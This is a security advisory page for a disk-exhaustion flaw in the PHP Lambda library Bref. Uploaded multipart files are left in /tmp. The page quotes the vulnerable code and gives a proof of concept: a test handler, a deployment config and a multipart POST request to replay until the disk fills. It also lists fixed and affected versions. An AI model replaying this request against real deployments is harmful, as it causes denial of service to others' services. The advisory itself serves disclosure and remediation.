GHSA-x4hh-frx8-98r5

Suggest an improvement
Source
https://github.com/advisories/GHSA-x4hh-frx8-98r5
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/02/GHSA-x4hh-frx8-98r5/GHSA-x4hh-frx8-98r5.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-x4hh-frx8-98r5
Aliases
Published
2024-02-01T20:53:03Z
Modified
2024-10-17T20:07:49.781127Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Bref's Uploaded Files Not Deleted in Event-Driven Functions
Details

Impacted Resources

bref/src/Event/Http/Psr7Bridge.php:94-125

Description

When Bref is used with the Event-Driven Function runtime and the handler is a RequestHandlerInterface, then the Lambda event is converted to a PSR7 object. During the conversion process, if the request is a MultiPart, each part is parsed and for each which contains a file, it is extracted and saved in /tmp with a random filename starting with bref_upload_.

The function implementing the logic follows:

private static function parseBodyAndUploadedFiles(HttpRequestEvent $event): array
{
    $bodyString = $event->getBody();
    $files = [];
    $parsedBody = null;
    $contentType = $event->getContentType();
    if ($contentType !== null && $event->getMethod() === 'POST') {
        if (str_starts_with($contentType, 'application/x-www-form-urlencoded')) {
            parse_str($bodyString, $parsedBody);
        } else {
            $document = new Part("Content-type: $contentType\r\n\r\n" . $bodyString);
            if ($document->isMultiPart()) {
                $parsedBody = [];
                foreach ($document->getParts() as $part) {
                    if ($part->isFile()) {
                        $tmpPath = tempnam(sys_get_temp_dir(), 'bref_upload_');
                        if ($tmpPath === false) {
                            throw new RuntimeException('Unable to create a temporary directory');
                        }
                        file_put_contents($tmpPath, $part->getBody());
                        $file = new UploadedFile($tmpPath, filesize($tmpPath), UPLOAD_ERR_OK, $part->getFileName(), $part->getMimeType());

                        self::parseKeyAndInsertValueInArray($files, $part->getName(), $file);
                    } else {
                        self::parseKeyAndInsertValueInArray($parsedBody, $part->getName(), $part->getBody());
                    }
                }
            }
        }
    }
    return [$files, $parsedBody];
}

The flow mimics what plain PHP does but it does not delete the temporary files when the request has been processed.

Impact

An attacker could fill the Lambda instance disk by performing multiple MultiPart requests containing files. The attack has the following requirements and limitations: - The Lambda should use the Event-Driven Function runtime. - The Lambda should use the RequestHandlerInterface handler. - The Lambda should implement at least an endpoint accepting POST requests. - The attacker can send requests up to 6MB long, so multiple requests are required to fill the disk (the default Lambda disk size is 512MB, therefore with less than 100 requests the disk could be filled).

PoC

  1. Create a new Bref project.
  2. Create an index.php file with the following content:
    <?php
    
    namespace App;
    
    require __DIR__ . '/vendor/autoload.php';
    
    use Nyholm\Psr7\Response;
    use Psr\Http\Message\ResponseInterface;
    use Psr\Http\Message\ServerRequestInterface;
    use Psr\Http\Server\RequestHandlerInterface;
    
    class MyHttpHandler implements RequestHandlerInterface
    {
        public function handle(ServerRequestInterface $request): ResponseInterface
        {
            return new Response(200, [], exec("ls -lah /tmp/bref_upload* | wc -l"));
        }
    }
    
    return new MyHttpHandler();
    
    
  3. Use the following serverless.yml to deploy the Lambda:
    service: app
    
    provider:
        name: aws
        region: eu-central-1
    
    plugins:
        - ./vendor/bref/bref
    
    # Exclude files from deployment
    package:
        patterns:
            - '!node_modules/**'
            - '!tests/**'
    
    functions:
        api:
            handler: index.php
            runtime: php-83
            events:
                - httpApi: 'ANY /upload'
    
  4. Replay the following request multiple times after having replaced the <HOST> placeholder with the deployed Lambda domain:
    POST /upload HTTP/2
    Host: <HOST>
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQqDeSZSSvmn2rfjb
    Content-Length: 180
    
    ------WebKitFormBoundaryQqDeSZSSvmn2rfjb
    Content-Disposition: form-data; name="a"; filename="a.txt"
    Content-Type: text/plain
    
    test
    ------WebKitFormBoundaryQqDeSZSSvmn2rfjb--
    
  5. Notice that each time the request is sent the number of the uploaded temporary files on the disk increases.

Suggested Remediation

Delete the temporary files after the request has been processed and the response have been generated.

References

  • https://cheatsheetseries.owasp.org/cheatsheets/DenialofServiceCheatSheet.html
Database specific
{
    "nvd_published_at": "2024-02-01T16:17:14Z",
    "cwe_ids": [
        "CWE-400",
        "CWE-770"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-01T20:53:03Z"
}
References

Affected packages

Packagist / bref/bref

Package

Name
bref/bref
Purl
pkg:composer/bref/bref

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.1.13

Affected versions

0.*

0.1.0
0.2.0
0.2.1
0.2.2
0.2.3
0.2.4
0.2.5
0.2.6
0.2.7
0.2.8
0.2.9
0.2.10
0.2.11
0.2.12
0.2.13
0.2.14
0.2.15
0.2.16
0.2.17
0.2.18
0.2.19
0.2.20
0.2.21
0.2.22
0.2.23
0.2.24
0.2.25
0.2.26
0.2.27
0.2.28
0.2.29
0.2.30
0.2.31
0.2.32
0.2.33
0.2.34
0.2.35
0.2.36
0.2.37
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.3.6
0.3.7
0.3.8
0.3.9
0.4.0
0.4.1
0.5.0-beta1
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.5.5
0.5.6-beta1
0.5.6
0.5.7
0.5.8
0.5.9
0.5.10
0.5.11
0.5.12
0.5.13
0.5.14-beta1
0.5.14-beta2
0.5.14
0.5.15
0.5.16
0.5.17
0.5.18
0.5.19
0.5.20
0.5.21
0.5.22
0.5.23
0.5.24
0.5.25
0.5.26
0.5.27
0.5.28
0.5.29
0.5.30
0.5.31
0.5.32
0.5.33

1.*

1.0.0-beta1
1.0.0-beta2
1.0.0
1.0.1
1.0.2
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.2.6
1.2.7
1.2.8
1.2.9
1.2.10
1.2.11
1.2.12
1.2.13
1.2.14
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.3.6
1.4.0
1.4.1
1.4.2
1.5.0
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5
1.5.6
1.5.7
1.5.8
1.6.0
1.7.0
1.7.1
1.7.2
1.7.3
1.7.4
1.7.5
1.7.6
1.7.7
1.7.8
1.7.9
1.7.10
1.7.11
1.7.12
1.7.13
1.7.14
1.7.15
1.7.16
1.7.17
1.7.18
1.7.19
1.7.20
1.7.21
1.7.22
1.7.23
1.7.24
1.7.25
1.7.26
1.7.27
1.7.28
1.7.29
1.7.30
1.7.31
1.7.32
1.7.33
1.7.34
1.7.35
1.7.36
1.7.37
1.7.38
1.7.39
1.7.40
1.7.41
1.7.42
1.7.43
1.7.44
1.7.45
1.7.46
1.7.47

2.*

2.0.0-beta1
2.0.0-beta2
2.0.0-beta3
2.0.0-beta4
2.0.0-beta5
2.0.0-beta6
2.0.0-beta7
2.0.0-beta8
2.0.0-beta9
2.0.0-beta10
2.0.0-beta11
2.0.0-beta12
2.0.0-beta13
2.0.0-beta14
2.0.0-beta15
2.0.0-beta16
2.0.0-beta17
2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
2.0.6
2.0.7
2.0.8
2.0.9
2.0.10
2.0.11
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.1.5
2.1.6
2.1.7
2.1.8
2.1.9
2.1.10
2.1.11
2.1.12